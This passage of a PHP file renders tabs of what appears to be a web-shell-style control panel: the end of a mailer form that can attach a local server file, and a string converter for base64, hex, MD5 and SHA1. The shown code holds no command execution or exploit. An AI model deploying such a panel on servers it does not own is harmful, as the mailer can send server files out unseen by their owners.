                <input type="text" name="attach" placeholder="Local Attachment Path (Optional)" style="grid-column: span 2; width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                <button type="submit" style="grid-column: span 2; background: var(--accent); color: #000; border: none; padding: 12px; border-radius: 8px; font-weight: 700; cursor: pointer;">SEND EMAIL</button>
            </form>
            <?php
        } elseif ($u_tab == 'str') {
            $str = isset($_POST['str']) ? $_POST['str'] : '';
            $res = '';
            if ($str) {
                $op = $_POST['op'];
                if ($op == 'b64e') $res = base64_encode($str);
                elseif ($op == 'b64d') $res = base64_decode($str);
                elseif ($op == 'md5') $res = md5($str);
                elseif ($op == 'sha1') $res = sha1($str);
                elseif ($op == 'hexe') $res = bin2hex($str);
                elseif ($op == 'hexd') $res = pack("H*", $str);
            }
            ?>
            <h2 style="margin-top:0; font-family: 'Orbitron'; font-size: 1.1rem;">STRING CONVERTER</h2>
            <form method="POST">
                <textarea name="str" style="width: 100%; height: 80px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 15px; margin-bottom: 10px; resize: none;"><?php echo htmlspecialchars($str); ?></textarea>
                <div style="display: flex; gap: 10px; margin-bottom: 15px;">
                    <select name="op" style="flex: 1; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                        <option value="b64e">Base64 Encode</option>
                        <option value="b64d">Base64 Decode</option>
                        <option value="md5">MD5 Hash</option>
                        <option value="sha1">SHA1 Hash</option>
                        <option value="hexe">Hex Encode</option>
                        <option value="hexd">Hex Decode</option>
                    </select>
                    <button type="submit" style="background: var(--accent); color: #000; border: none; padding: 0 30px; border-radius: 8px; font-weight: 700; cursor: pointer;">CONVERT</button>
                </div>
                <?php if ($res): ?>
                    <div style="background: rgba(255,255,255,0.05); padding: 1.5rem; border-radius: 10px; border: 1px solid var(--accent-dim);">
                        <div style="font-size: 0.7rem; color: var(--accent); margin-bottom: 5px; text-transform: uppercase;">Result:</div>
                        <div style="font-family: 'JetBrains Mono'; color: #fff; word-break: break-all;"><?php echo htmlspecialchars($res); ?></div>
                    </div>
                <?php endif; ?>
            </form>
            <?php
        }
        ?>
    </div>
    <?php
}

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